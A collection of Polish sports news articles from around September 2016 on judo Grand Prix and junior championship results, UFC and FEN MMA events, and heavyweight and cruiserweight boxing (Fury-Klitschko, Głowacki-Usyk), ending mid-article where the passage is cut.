Polak zaprezentował się podczas Pucharu Europy w Oberwart, gdzie stanął na najniższym stopniu podium. W kolejnych zawodach nie było już tak dobrze, jednak forma przyszła w najwłaściwszym momencie. W kwietniu podczas mistrzostw Europy w Kazaniu Kuczera odniósł największy sukces w karierze i wywalczył brązowy medal. Polski judoka pnie się w górę światowego rankingu. Obecnie zajmuje 41. lokatę z dorobkiem 424 punktów.

Z Grand Prix w Zagrzebiu Kuczera będzie miał wyjątkowe wspomnienia. Ze smakiem medali zdążył się już zapoznać, ale nie stał jeszcze na podium turnieju tej rangi. W stolicy Chorwacji polskiemu zawodnikowi sprzyjało szczęście. Marko Bubanja i Max Stewart kończyli rywalizację z Kuczerą jako przegrani, o wyniku decydowały kary shido. W boju o finał 21-latek musiał uznać wyższość Alexandra Grigoreva, który cieszył się z triumfu w Zagrzebiu. Medaliście mistrzostw Europy pozostała walka o brąz, gdzie czekał na niego Dario Garcia Kurbjeweit. Kuczera wygrał w wielkim stylu. Najpierw waza-ari, a chwilę później ippon i było po sprawie. 21-latek był autorem piątego polskiego medal w zawodach GP w Zagrzebiu.

W kategorii 90kg siódmą lokatę zajął Patryk Ciechomski. Polak szybko pokonał Chorwata Jere Zivkovicia Bokurina. Następnie przegrał z Alexandrem Grigorevem i Maxem Stewartem. W obu przypadkach rywale triumfowali przez ippon.

Tylko Rosjanie lepsi

W zawodach wzięło udział 228 judoczek i judoków. Najwięcej, bo 20 reprezentantów wystawiła Rosja, co przełożyło się również na zdobycz medalową. Sborna wywalczyła aż 11 medali, w tym trzy złote. W swoich kategoriach triumfowali: Alan Khubetsov (81kg), Alexander Grigorev (90kg) i Adlan Bisultanov (100kg).

Drugie miejsce w klasyfikacji medalowej przypadło Polsce. Na wynik Polaków zapracowali: Karolina Pieńkowska i Karolina Tałach (złota), Katarzyna Kłys (srebro) oraz Damian Szwarnowiecki i Kuczera (brązowe krążki). Na trzecim stopniu podium uplasowała się Francja z dorobkiem pięciu medali.

KM

Nikt nie może jej zatrzymać

Cristiane Justino wyrasta na największą gwiazdę kobiecego MMA. Brazylijka niczym rozpędzony pocisk niszczy wszystko, co napotka na swojej drodze. Podczas gali UFC Fight Night 95 jej ofiarą padła Lina Lansberg.

31-latka z Kurytyby zawitała w szeregi najlepszej organizacji MMA na świecie w maju. Wejście miała mocne i udowodniła, że jest w stanie podbić kolejną płaszczyznę. Wcześniej była niepokonana w organizacji Invicta.

Rywalki zbierają łomot

Jeszcze niedawno miłośnicy kobiecego MMA żyli historią o możliwym starciu Justino i Rondy Rousey. Amerykanka panowała w wadze koguciej, a Brazylijka rozdawała karty w organizacji Invicta. Obie stały się twarzami kobiecego MMA. Wiele mówiło się o ich walce, jednak do niej nie doszło. Problemem była waga popularnej „Cyborg”. Brazylijka prowadziła rozmowy z UFC, a Rousey straciła pas.

Amerykanka czeka na powrót do sportowej rywalizacji, a 31-latka z Kurytyby pokonuje kolejne szczeble w karierze. W maju zadebiutowała w UFC i potrzebowała 81 sekund, żeby uporać się z Leslie Smith. Może powiedzieć, że Justino miała wejście smoka. Brazylijka jest niczym zaprogramowany na wygrywanie robot.

„Cyborg” byłą gwiazdą wieczoru podczas gali UFC Fight Night 95. Podczas eventu w Brasilii Justino spotkała się z Liną Lansberg, która debiutowała w UFC. Szwedka zwróciła na siebie uwagę bardzo dobrymi występami. 34-latka wygrała sześć pojedynków z rzędu i dostąpiła zaszczytu rywalizacji z mocną Justino. Brazylijka idzie jak burza i nie patrzy nawet na nazwisko rywalki. Od początku starcia mocno ruszyła na Lansberg. Szwedka nie potrafiła przeciwstawić się gwieździe kobiecego MMA. Justino zepchnęła przeciwniczkę do defensywy, w drugiej rundzie sprowadziła ją do parteru i zasypała gradem ciosów. Szwedka nie była w stanie przetrwać naporu, walka zakończyła się przed czasem. 

Justino ma fantastyczną serię. Wygrała szesnaście kolejnych walk i co ciekawe, po raz ostatni walczyła w pełnym wymiarze w październiku 2008 roku. Od tamtej pory kończy pojedynki przed czasem. Warto dodać, że to Brazylijka rozbija swoje rywalki i nie daje im nawet możliwości odklepania. Siłą i precyzja ciosów – to jej recepta na sukces.

Kto najlepszy?

Dobry występ w Brasilii zaliczył Renan Barao, który po dwóch porażkach mógł cieszyć się ze zwycięstwa. Na punkty pokonał Phillipe'a Novera. 37-letni Antonio Silva poniósł trzecią porażkę z rzędu. Tym razem pogromcą Brazylijczyka był Roy Nelson, który w drugiej rundzie zaserwował rywalowi potężny cios podbródkowy. 

Za najlepszą walkę wieczoru uznano starcie w kategorii półśredniej. Po morderczej walce Erick Silva mógł cieszyć się ze zwycięstwa z Luanem Chagasem, którego zaskoczył duszeniem zza pleców w trzeciej rundzie. Szybko swoje pojedynki zakończyli Eric Spicely i Godofredo Pepey. Amerykanin duszeniem zza pleców zmusił do poddania Thiago Santosa, w ten sam sposób triumfował 29-letni Brazylijczyk. Jego ofiarą padł Mike de la Torre.

KM

Zabawa w „kotka i myszkę”

Miłośnicy boksu odliczali tygodnie do rewanżowej walki o prymat w wadze ciężkiej pomiędzy Tysonem Fury'm a Władimirem Kliczko. Licznik musiał się zatrzymać, oczekiwanie trwa nadal. Pojedynek miał odbyć się 29 października, ale został odwołany.

Stawka rywalizacji pomiędzy Anglikiem a Ukraińcem jest ogromna, jednak cała otoczka wokół niej staje się już męcząca. Fury podkreśla swoją moc, ale po raz kolejny nie będzie w stanie jej zaprezentować. Fani pięściarstwa na jedno z najważniejszych starć muszą poczekać.

Wahania nastrojów

„Już był w ogródku, już witał się z gąską” – do kogo bardziej pasuje fragment wiersza Adama Mickiewicza? Nieco bardziej do Władimira Kliczko. Ukrainiec chce udowodnić światu, że porażka, której doznał w listopadzie ubiegłego roku w Dusseldorfie była wypadkiem przy pracy. Dla 40-latka rewanżowe starcie z Fury'm ma charakter tych z kategorii „być albo nie być”. Dlaczego? Bo przez lata kategoria królewska znajdowała się pod jego dominacją. Uchodził za postać niezwyciężoną, symbol boksu. Przyszedł krnąbrny Fury, który powtarzał, że wejdzie na szczyt. Początkowo wielu pukało się w czoło, ale 28-latek utarł nosa niedowiarkom. Pokazał, że jest mocny nie tylko w „gębie”.

„Mijają dni, miesiące”, niebawem minie rok. Wszyscy czekają na starcie na szczycie wagi ciężkiej, które ostatecznie ma pokazać, kto jest największym herosem. Na szali pojawią się pasy WBA, WBO, IBO. Zapowiedzi były, ustalenia zapadły, już wszystko zmierzało w dobrą stronę, ale… No właśnie. Na ostatniej prostej pojawiały się jakieś przeszkody.

Zacznijmy od początku. Po utracie mistrzowskich pasów Kliczko zapowiedział, że chce starcia rewanżowego. Fury na to przystał, co kosztowało go utratę pasa IBF, gdyż odmówił batalii z Wiaczesławem Głazkowem. Strony zasiadły do rozmów. Ustalono, że rewanż odbędzie się 9 lipca w Manchesterze. Miesiąc przed planowanym terminem walkę odwołano. Podczas przygotowań Fury doznał urazu stawu skokowego i musiał odpoczywać blisko dwa miesiące.

„Co się odwlecze, to nie uciecze”, a więc w takim wypadku trzeba było podjąć rozmowy nad nowym terminem rewanżowego starcia o prymat w kategorii królewskiej. Gorący akord późnej jesieni – walkę zaplanowano na 29 października. Historia lubi się powtarzać. Ponownie kilka tygodni przed pojedynkiem obóz mistrza poinformował, że Fury zmaga się z kłopotami zdrowotnymi. 

Niekończąca się historia

28-letni czempion w ostatnim czasie miał przejść badania, jednak ich wyniki nie są optymistyczne. W związku z tym udział Fury'ego w październikowej walce jest niemożliwy. Jednoznacznie nie można stwierdzić, że bokser urodzony w Manchesterze gra na czas. Jednak obóz Ukraińca niecierpliwi się. Kliczko chce walki rewanżowej i czeka na nią z utęsknieniem. 

Problem tym, że wszystkie karty są w rękach Fury'ego. On decyduje, co, kiedy i jak. Z pewnością Kliczko nie da się wyprowadzić z równowagi, ale jego obóz już patrzy w stronę WBA i WBO. Przychylni byłemu mistrzowi liczą, że właściwe organy zainteresują się postępowaniem 28-latka.

Prędzej czy później ta historia znajdzie swój finał. Zasadne jest jedno, czy więcej będzie mówiło się o samej walce, czy o zamieszaniu wokół niej. Niebawem minie rok od starcia Kliczko-Fury, w którym wyłonił się nowy mistrz wagi ciężkiej. Czempion, który trzyma pasy, a bronić ich nie zamierza?

KM

Biało-czerwony Zagrzeb!

Karolina Pieńkowska (52kg) i Karolina Tałach (63kg) triumfowały w zawodach Grand Prix w judo w Zagrzebiu. To nie jedyne sukcesy biało-czerwonych w stolicy Chorwacji!

Wyśmienita dyspozycja Polaków w Zagrzebiu! Sukces goni sukces, a jeszcze nie wszyscy nasi reprezentanci zaprezentowali się w rywalizacji na tatami. Biało-czerwoni mają już na koncie medale wszystkich barw.

Złote dziewczyny

Przed Karoliną Pieńkowską wspaniała i długa kariera. W zeszłym roku Polka wywalczyła w Bratysławie tytuł młodzieżowej mistrzyni Europy. 23-latka idzie za ciosem! Z pewnością ten rok zapisze do najbardziej udanych w swojej karierze, a na pewno zaliczy do kategorii wyjątkowych. Dlaczego? Pieńkowska znajduje się regularnie na miejscach punktowanych. W czerwcu po raz pierwszy w karierze stanęła na podium zawodów rangi Grand Prix. Brąz wywalczony w Budapeszcie był sporym osiągnięciem, ale 23-latka nie zamierzała na tym poprzestać. 

W Zagrzebiu, gdzie wywalczyła złoto pokazała, że stać ją na wiele. W stolicy Chorwacji Pieńkowska stoczyła trzy pojedynki. Najefektowniejszy był bój o finał, w którym 23-latka przed czasem uporała się z Angelicą Delgado. Z kolei w starciu o złoto pokonała Distrię Krasniqi. Warto nadmienić, że reprezentantka Kosowa to szesnasta zawodniczka światowego rankingu i ubiegłoroczna mistrzyni świata juniorek.

Zagrzeb okazał się szczęśliwy również dla Karoliny Tałach (63kg). Polka w tym roku stawała już na podium w zawodach Pucharu Europy. Przed dwoma tygodniami była trzecia w Tallinie, a w lutym wywalczyła drugie miejsce w Rzymie. W zawodach Grand Prix jeszcze nigdy nie stawała na podium. Teraz to już nieaktualne. 24-latka w stawce szesnastu zawodniczek rywalizujących w kategorii 63kg okazała się najlepsza. Problemy Polka napotkała już w pierwszej walce. Kamila Badurova postawiła trudne warunki i o zwycięstwie Tałach zadecydowała jedna kara shido. W drodze do finału pokonała m.in. utalentowaną Słowenkę Andreję Leski. W decydującym boju Polka przez yuko zwyciężyła z Dianą Dzhigaros. 

Powtórzyła sukces

Katarzyna Kłys (70kg) dobrze czuje się w Zagrzebiu. Dwa lata temu wywalczyła srebro, a rok temu była piąta podczas zmagań w Chorwacji. Tym razem stanęła na podium. Lepsza od reprezentantki Polski była tylko mocna Barbara Matic. Kłys wygrała dwie walki w drodze do finału, w obu przypadkach rozstrzygnęła pojedynki przed czasem.

Kolejny dobry występ w tym roku zaliczył Damian Szwarnowiecki (81kg). 22-latek dwa tygodnie temu był trzeci w Tallinie, teraz sukces powtórzył w Zagrzebiu. Polak jest w gazie, wygrał trzy pojedynki przez ippon. Problemy pojawiły się w półfinale, gdzie trafił na Laszlo Csoknayaia. Węgier potrzebował ponad minutę, aby awansować do finału. Szwarnowieckiego czekało starcie o brąz, w którym spotkał się z Jakubem Kubieńcem. 26-latek po udanych repasażach chciał iść za ciosem. Pojedynek zacięty, jednak Szwarnowiecki zapisał na swoim koncie waza ari i wywalczył brąz. Piąta pozycja to najlepszy tegoroczny wynik Kubieńca.

O krok od podium była Ewa Konieczny (48kg). W starciu o brąz przegrała z Cheyenne Mounier z Francji, która w trzecich zawodach z rzędu stanęła na podium. O powtarzalności można mówić w przypadku Agaty Ozdoby (63kg). Rok temu wywalczyła w Zagrzebiu piątą lokatę. Tym razem na drodze do medalu stanęła Polce Magdalena Krssakova z Austrii.

Fot. EJU

KM

Adrian Błeszyński vs. Łukasz Stanek w karcie walk FEN 14 Silesian Rage

Adrian Błeszyński, autor jednego z najbardziej efektownych nokautów w historii polskiego MMA, na gali FEN 14 Silesian Rage ponownie wystąpi w klatkoringu Fight Exclusive Night. 15 października w katowickim Spodku jego przeciwnikiem w walce w kategorii półśredniej będzie debiutujący w FEN Łukasz Stanek.

Dla reprezentującego Sportowe Zagłębie Sosnowiec Adriana Błeszyńskiego walka na gali FEN 14 Silesian Rage będzie drugą, jaką stoczy dla organizacji Fight Exclusive Night. W debiucie „Ares” popisał się bardzo efektownym nokautem – w drugiej rundzie zakończył starcie z Tomaszem Lepierskim potężnym lewym sierpowym, po którym jego przeciwnik padł bez czucia na deski i potem długo nie mógł dojść do siebie, a on sam otrzymał bonus za najlepszy nokaut gali FEN 11 Warsaw Time. Było to jego trzecia walka zawodowa i trzecie z rzędu zwycięstwo przed czasem – poprzednie pojedynki, z Czechem Martinem Hajtmarem i Białorusinem Vitaliyem Lukoyko, wygrywał przez techniczny nokaut już w pierwszych rundach.

Adrian Błeszyński nokautuje Tomasza Lepierskiego na gali FEN 11 Warsaw Time: youtube.com/watch?v=UEm23ZNT7pM

Błeszyński mieszane sztuki walki trenuje od 8 lat, wcześniej uprawiał boks, brazylijskie ju-jitsu, kick-boxing i savate. Uwieńczeniem jego kariery amatorskiej było zdobycie w 2014 roku w Pradze tytułu mistrza świata WKF w MMA i rok później tytułu mistrza Europy WKF. Po tym sukcesach podopieczny trenerów Bartosza Kulczyckiego i Gabriela Skiby zdecydował się przejść na zawodowstwo.

Łukasz Stanek na gali FEN 14 Silesian Rage wystąpi w organizacji Fight Exclusive Night po raz pierwszy. Zawodnik klubu MMAtadores Katowice (dawniej Emers Team Katowice) ma na swoim koncie 13 walk amatorskich, z których przegrał tylko dwie, oraz 4 walki zawodowe. Podobnie jak Adrian Błeszyński, karierę zawodową rozpoczął od dwóch zwycięstw przez TKO w pierwszych rundach. Później, w starciach z bardziej doświadczonymi Adamem Brzezowskim i Piotrem Mrozem, zawodnik Tomasza Jeruszki musiał jednak uznać wyższość swoich rywali. Do swoich największych sportowych osiągnięć zalicza zwycięstwa na X Międzynarodowym Turnieju Hadaka Waza w 2011 roku oraz w Otwartych Mistrzostwach Świata Kong Sao w formule MMA w 2012 roku.

Walka Adriana Błeszyńskiego z Łukaszem Stankiem będzie jedną z dwóch w karcie wstępnej gali FEN 14 Silesian Rage. Tego wieczora na zasadach MMA walczyć będą także m.in. Paweł Hadaś z Pawłem Brandysem, Tyberiusz Kowalczyk z Kamilem Bazelakiem, Akop Szostak z Martinem Chudejem i Albert Odzimkowski z Mateuszem Strzelczykiem, a w formule K-1 – Paweł Biszczak z Tomaszem Gromadzkim i Kamil Jenel z Pavlem Oboznym. W walkach wieczoru Roman Szymański będzie bronił pasa mistrzowskiego FEN w MMA kategorii lekkiej, a o tytuł mistrza FEN w K-1 wagi ciężkiej bić się będzie Tomasz Sarara.

Bilety na galę FEN 14 można kupić w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Kłys jedzie do Zagrzebia

Kolejna odsłona zmagań na tatami. Przez trzy dni judocy będą rywalizowali w turnieju Grand Prix w Zagrzebiu. W kadrze znalazła się Katarzyna Kłys (70kg), dla której będzie to pierwszy występ od Igrzysk Olimpijskich w Rio de Janeiro. Nie zabraknie będącego w dobrej formie Damiana Szwarnowieckiego (81kg).

Początek zmagań w Zagrzebiu już w piątek 23 września, zawody potrwają do niedzieli. Na starcie pojawi się trzynastoosobowa kadra Polski. Dwa tygodnie temu w zawodach Pucharu Europy w Tallinie biało-czerwoni wywalczyli dziewięć krążków, jednak ekipa była ponad dwa razy liczniejsza. W kadrze na Zagrzeb znalazło się pięciu medalistów z Estonii. Czy w Chorwacji zaprezentują się równie dobrze?

Olimpijskie wspomnienia

Katarzyna Kłys wraca do rywalizacji po Igrzyskach Olimpijskich w Rio de Janeiro. W Brazylii polska judoczka dotarła do 1/8 finału, gdzie przegrała pojedynek z Marie Bernabeu z Brazylii. Zawodniczka Polonii Rybnik w Rio pokonała Gulnozę Matnijazową z Uzbekistanu. Był to najlepszy olimpijski występ w karierze Kłys, choć z pewnością to marne pocieszenie dla judoczki. Warto wspomnieć, że we wcześniejszych olimpijskich startach, Pekin i Londyn, odpadała w pierwszych rundach.

Polka nadal jest wysoko w światowym rankingu. Obecnie zajmuje 19. miejsce w swojej kategorii wagowej. Do Zagrzebia jedzie jako mocne ogniwo naszej kadry. W tym sezonie trzykrotnie stawała na podium, w tym dwa razy wygrywała zawody. Warto odnotować dobrą dyspozycję judoczki Polonii Rybnik podczas zawodów Grand Prix. W Ałmatach była trzecia, a w Tbilisi piąta.

Statystyka pokazuje, że w stolicy Chorwacji Kłys ma duże szanse na wywalczenie miejsca na podium. W ubiegłym roku po mistrzostwach świata startowała w Taszkiencie, gdzie wywalczyła brąz. Dwa lata wcześniej po światowym czempionacie przyszło jej rywalizować w… Zagrzebiu. Kłys zawody ukończyła na drugim miejscu, lepsza była tylko Kelita Zupancic z Kanady.

Pójść za ciosem

Debiut w kategorii 81kg ma za sobą Damian Szwarnowiecki. W Tallinie 22-latek wywalczył brązowy medal. Choć nie pojechał do Rio to i tak notuje najlepszy sezon w karierze. Tym razem o sukces będzie trudniej, bo poprzeczka idzie w górę. Zawody Grand Prix to większe wymagania, ale w tym roku Szwarnowiecki wygrał już w Samsun.

W stolicy Chorwacji zaprezentują się także: Anna Borowska (57kg), Karolina Tałach (63kg), Michał Bartusik (66kg) i Kamil Grabowski (+100kg), czyli medaliści z Tallinna. Ponadto, w kadrze znaleźli się: Ewa Konieczny (48kg), Karolina Pieńkowska (52kg), Agata Ozdoba (63kg), Patryk Wawrzyczek (66kg), Jakub Kubieniec (81kg), Patryk Ciechomski i Piotr Kuczera (obaj 90kg).

W ubiegłorocznym starcie w Zagrzebiu Polacy wywalczyli dwa medale. Po brązowe krążki sięgnęły Agata Perenc i Daria Pogorzelec. O krok od podium, piąte miejsce, były Kłys i Ozdoba.

KM

Głowacki zanotował spadek

Panowanie Krzysztof Głowackiego dobiegło końca. Polak stracił pas WBO kategorii junior ciężkiej na rzecz Oleksandra Usyka. W związku z tym należało się spodziewać zmian w bokserskich rankingach. O jedną pozycję niżej Głowacki znajduje się w zestawieniu ESPN.

Porażka z Usykiem nie sprawi, że 30-letni pięściarz popadnie w niebyt. Głowacki nokautując Hucka awansował na szczyt i udowodnił, że drzemie w nim ogromny potencjał. Obecnie wymieniany jest jednym tchem wśród czołowych bokserów wagi junior ciężkiej.

Niewielkie przesunięcia

Oleksandr Usyk na przestrzeni dwunastu rund okazał się lepszy od boksera z Wałcza. Ukrainiec przed pojedynkiem o pas miał wysokie notowania, ale teraz stał się postrachem dla czołówki wagi junior ciężkiej. 29-letni pięściarz wystrzelił na szczyt kolejnych rankingów.

Spójrzmy na zestawienie ESPN. Tam nadal na czele znajduje się Denis Lebiediew, czempion WBA i IBF. Za jego plecami znajduje się Usyk, który przeskoczył Głowackiego i zepchnął Polaka na trzecią lokatę. Warto dodać, że Ukrainiec zaliczył awans z 9. pozycji. Głowacki wyprzedza Marco Hucka, Krzysztofa Głowackiego i Tony Bellewa.

Zupełnie inaczej wygląda położenie „Główki” w rankingu Boxrec. Polski pięściarz spadł z pozycji lidera na 6. lokatę. W tym przypadku wyprzedzają go: challenger WBC Mairis Briedis, Bellew, Lebiediew i Huck.

Przyszłość w kolorowych barwach

Pierwsza w karierze porażka Głowackiego nie przekreśla go w żaden sposób. Tak jak już wspominaliśmy, polski pięściarz wyrobił sobie mocną pozycję. Jeszcze długo bokserski świat będzie wspominał jego fenomenalny pojedynek z Huckiem.

Z kolei Usyk to pięściarz niezwykle mocny i pewnie zmierzający do przodu. Bogata kariera amatorska, szybko zdobyty pas mistrza świata. Bokserskie salony leżą u jego stóp. W przypadku Głowackiego powrót na szczyt jest jak najbardziej możliwy, lecz nie wiadomo, ile przyjdzie mu czekać na szansę.

Z pewnością na starcie z kimś z czołówki musi poczekać. Na początek zapewne stoczy walkę z kimś niżej notowanym. W wadze junior ciężkiej jest niezwykle ciasno, więc trzeba rozpychać się z całych sił. W wieku 30 lat Głowacki ma bogate doświadczenie i wypada tylko wierzyć, że kiedyś wyda owoce i ponownie Polak założy mistrzowski pas.

KM

Wróci i powalczy o pas?

Czy UFC zapomniało o Rondzie Rousey? – zaczęli pytać niektórzy fani MMA. Od ostatniej walki byłej mistrzyni wagi koguciej minęło już ponad dziesięć miesięcy. Niewykluczone, że kolejny pojedynek stoczy w grudniu.

Popularna „Rowdy” zapracowała sobie na status gwiazdy UFC. Stoczyła dwanaście zwycięskich walk i opływała w glorii chwały. Przyszedł listopad 2015 roku i zaczęły się kłopoty.

Pożegnała się z pasem

Rousey była dla wielu niezwyciężona i wszechpotężna. Amerykanka imponowała skutecznością oraz perfekcyjną. Potrafiła w zaledwie kilkanaście sekund wygrać pojedynek, czym budziła postrach wśród kolejnych rywalek. Niektórzy widzieli w niej mistrzynię na lata, której nikt i nic nie powstrzyma. Dlatego porażka na UFC 193 z Holly Holm stanowiła ogromną niespodziankę. Była bokserska mistrzyni świata w wadze półśredniej w drugiej rundzie wysokim kopnięciem znokautowała rywalkę.

Era wielkiej Rondy dobiegła końca. Amerykanka miała stoczyć pojedynek rewanżowy z Holm, jednak uniemożliwiła jej to kontuzja kolana. Nic się nie zatrzymuje w miejscu. Podczas nieobecności Rousey doszło do wielu przetasowań. Holm zdążyła stracić pas, który obecnie znajduje się w rękach Amandy Nunes. Jednak Brazylijka zdobyła tytuł w walce z Mieshą Tate.

Jak na rok, to w wadze koguciej zaszło wiele zmian. Wszystko odbyło się poza Rousey, o której jakby świat zapomniał. Być może „Rowdy” niespodziewanie zaatakuje i wróci na szczyt. Czy to możliwe? Wszystko zależy od jej dyspozycji, ale nie tylko fizycznej, lecz i psychicznej. Podobno po porażce z Holm była mocno zszokowana.

Od razu pas?

To byłoby coś niesamowitego! Czekać tyle na powrót na główną arenę i od razu walczyć o utracony przez kilkoma miesiącami tytuł. Niewykluczone, że Ronda Rousey pojawi się na gali UFC 207, która odbędzie się 30 grudnia. Rywalką Amerykanki miałaby być Amanda Nunes.

28-letni Brazylijka weszła na szczyt efektownie pokonując Miesha Tate. W lipcu Brazylijka dosłownie zdewastowała rywalkę. Mocne ciosy Nunes mocno naruszyły twarz Tate, która padła na matę, by po chwili odklepać. 

Nunes ma na koncie cztery zwycięstwa z rzędu i czeka na kolejne wyzwanie. Chce stanąć do obrony tytułu, aby udowodnić swoją moc. Warto wspomnieć, że ostatnią zawodniczką, z którą przegrała Nunes była Cat Zignano. Z tą rywalką mierzyła się również Rousey. Potrzebowała zaledwie czternaście sekund, aby pokonać Zignano. To pokazuje moc byłej mistrzyni UFC, ale nie jest żadną wykładnią słabości obecnej czempionki. Teraz forma Rousey jest ogromną niewiadomą.

Czy pas w wadze koguciej będzie dalej podróżował? Żadnej mistrzyni po Rousey nie udało się ani razu obronić tytułu. Jednak z oceną szans należy poczekać. Najpierw UFC musi ogłosić, że powrót Rousey przypadnie na walkę z Nunes.

KM

Bazelak kontra Kowalczyk na gali FEN 14 Silesian Rage

W dwóch pierwszych walkach w karierze Tyberiusz Kowalczyk odniósł dwa szybkie i efektowne zwycięstwa. Na gali FEN 14 Silesian Rage będzie chciał tę serię przedłużyć, ale czeka go trudne zadanie, bo 15 października jego rywalem w katowickim Spodku będzie inny były strongman, równie potężny jak on, ale bardziej doświadczony jako fighter MMA Kamil Bazelak.

Kamil „Vanderlei” Bazelak przygodę ze sportem rozpoczął od piłki ręcznej, ale po poważnym wypadku musiał przerwać treningi i w ramach rehabilitacji jako dwunastolatek zamiast szczypiorniaka zaczął ćwiczyć karate. Później zajął się także boksem i kickboxingem, z sukcesami startując w tych trzech dyscyplinach w turniejach amatorskich. Po krótkiej przygodzie z kulturystyką na kilka lat poświęcił się karierze strongmana, uczestnicząc m.in. w zawodach European Strongest Man Championship, oraz wrestlera. Obecnie koncentruje się głównie na mieszanych sztukach walki, chociaż występuje także na zawodowych galach boksu i K-1.

W formule MMA Kamil Bazelak debiutował w 2012 roku. Jako zawodowiec stoczył 12 walk, połowę z nich na galach w Anglii, gdzie mierzył się z tak znanymi i doświadczonymi zawodnikami, jak Karl Etherington, Oli Thompson czy Stav Economou. W Polsce miał okazję walczyć m.in. z Kamilem Walusiem i Józefem Warchołem. W tym roku „Vanderlei” walczył już trzykrotnie, odnosząc dwa zwycięstwa – na zawodach z cyklu Vale Tudo Promotions – Samurai League w Łodzi pokonał Tomasza Koperskiego i Marcina Chaberskiego.

Jego rywal Tyberiusz Kowalczyk przez wiele lat był jednym z najlepszych i najbardziej rozpoznawalnych strongmanów w Polsce, gwiazdą Pucharu Polski Strongman oraz mistrzostw Polski i Europy. W 2005 roku triumfował w czwartej edycji drużynowych zawodów Polska kontra Reszta Świata, a dwa lata później zdobył tytuł Mistrza Europy Centralnej Strongman w Parach i Mistrza Polski Strongman A-Nowi. Po zakończeniu imponującej kariery siłacza poświęcił się sportom walki.

Starcie z Kamilem Bazelakiem będzie jego trzecią zawodową walką na zasadach MMA. Oba wcześniejsze pojedynki stoczył w klatkoringu Fight Exclusive Night, dwukrotnie błyskawicznie i efektownie pokonując swoich rywali. W czerwcu 2014 roku na gali FEN 3 War Is Coming już w 48. Sekundzie ciosami pięściami posłał na deski Litwina Tomasa Vaicickasa. Równie krótko trwała druga walka „Tyberiana” na gali FEN 11 Warsaw Time w marcu tego roku, kiedy to potężnymi uderzeniami i kopnięciami znokautował Akopa Szostaka.

Pojedynek Tyberiusza Kowalczyka z Kamilem Bazelakiem będzie jedną z 12 walk, jakie obejrzą kibice 15 października podczas FEN 14 Silesian Rage w katowickim Spodku. Oprócz nich w klatkoringu Fight Exclusive Night pojawią się tego wieczora m.in. broniący tytułu mistrza FEN w formule MMA Roman Szymański, walczący o pas mistrza FEN w formule K-1 Tomasz Sarara, a także Paweł Biszczak, Akop Szostak, Paweł Hadaś, Albert Odzimkowski, Kamil Jenel i Tomasz Gromadzki.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Malaga w kolorze brązu

Dla większości ze startujących w Maladze mistrzostwa Europy juniorek i juniorów były głównym tegorocznym celem. Polska wraca z czempionatu z dwoma brązowymi medalami, które wywalczyły Julia Kowalczyk (57kg) oraz Anita Formela (+78kg).

Do Hiszpanii udała się szesnastoosobowa kadra Polski. W ubiegłorocznym czempionacie nie doczekaliśmy się złota, choć o krok od triumfu była Anna Załęczna (+78kg). Z Malagi również wracamy bez tytułu mistrzowskiego.

Powtórka z rozrywki

Rok temu mistrzostwa Europy odbyły się w Oberwart. Biało-czerwoni wywalczyli cztery medale, na dorobek naszych złożyło się srebro i trzy brązy. Jedną z medalistek tamtego turnieju była Julia Kowalczyk (57kg), która wybrała się również do Malagi.

Judoczka Polonii Rybnik w tym sezonie prezentowała równą formę i gościła na podium w zawodach w Gdyni i w Berlinie. Do Hiszpanii jechała jako kandydatka do medalu i spełniła pokładane w niej nadzieje. Na początek spotkała się z Kają Kajzer ze Słowenii. Pojedynek nie należał do porywających, rywalka zanotowała karę shido, co dało Polce awans. W kolejnej rundzie Kowalczyk stanęła przed trudnym wyzwaniem. Niemka Pauline Starke pokazał klasę i zdominowała judoczkę Polonii Rybnik. Po ponad trzech minutach Kowalczyk schodziła z tatami pokonana. Ostatecznie Niemka sięgnęła po złoto.

Polce pozostała walka repasażowa, w której pokazała możliwości. Amit Prishkolnik nie zagroziła Kowalczyk, a ta wykorzystała swoje doświadczenie i zapunktowała przez waza-ari. W walce o brąz spotkała się z kolejną reprezentantką Izraela. Ariel Bezalel opierała się, ale Kowalczyk przeprowadziła akcję zakwalifikowaną jako waza-ari. Reprezentantka Izraela szukała swojej szansy, ale zapisała na swoim koncie shido. Polka również była agresywna i otrzymała trzy kary. To nie miało większego znaczenia. Triumf dał jej brązowy medal, drugi raz z rzędu.

Przegrać z mistrzynią

Świetnie w Maladze spisała się Anita Formela (+78kg). Polka zmagania rozpoczęła od rywalizacji z Katariną Luciją Vuković. Formela była niezwykle aktywna i w ciągu czterech minut zbudowała swoją przewagę, choć Chorwatka stawiała opór. W drugim starciu Polka szybko uporała się z Lidią Yarzą z Hiszpanii. Mercedesz Szigetvari stanowiła kolejne wyzwanie dla naszej judoczki, ale ta konsekwentnie realizowała swój plan. Waza-ari i yuko dały jej przepustkę do półfinału. Tam szybko poległa w pojedynku z Julią Tolofuą, która sięgnęła po tytuł mistrzowski. Polka musiała zadowolić się brązowym medalem. W decydującym starciu Formela przez ippon pokonała Maxime Brausewetter.

Blisko podium był Jakub Ozimek (90kg), który ostatecznie zajął piąte miejsce. Medal przeszedł koło nosa Pauli Kuladze (78kg). Polka wywalczyła piątą lokatę.

W Maladze zaprezentowało się ponad 400 judoczek i judoków. Najlepszą ekipą czempionatu okazali się Francuzi, którzy zdobyli osiem medali, w tym trzy złote. Za ich plecami Rosja i Niemcy.

Fot. EJU

KM

Bokserskie święto w Gdańsku

Krzysztof Głowacki po raz drugi będzie bronił mistrzowskiego pasa WBO w wadze junior ciężkiej. 30-latek po występach w USA wraca do Polski. Podczas gali Polsat Boxing Night w Gdańsku Głowacki zmierzy się z Oleksandrem Usykiem. Atmosfera wokół pojedynku jest niezwykle gorąca.

Do ringu wejdzie dwóch niezwykle mocnych bokserów. Wiele ich łączy, ale nie brakuje różnic. Cieszymy się z bokserskiego mistrza świata, ale Usyk zapowiada, że 17 września wieczorem pas zmieni właściciela. Czy Ukrainiec zdetronizuje Głowackiego?

Groźny Ukrainiec

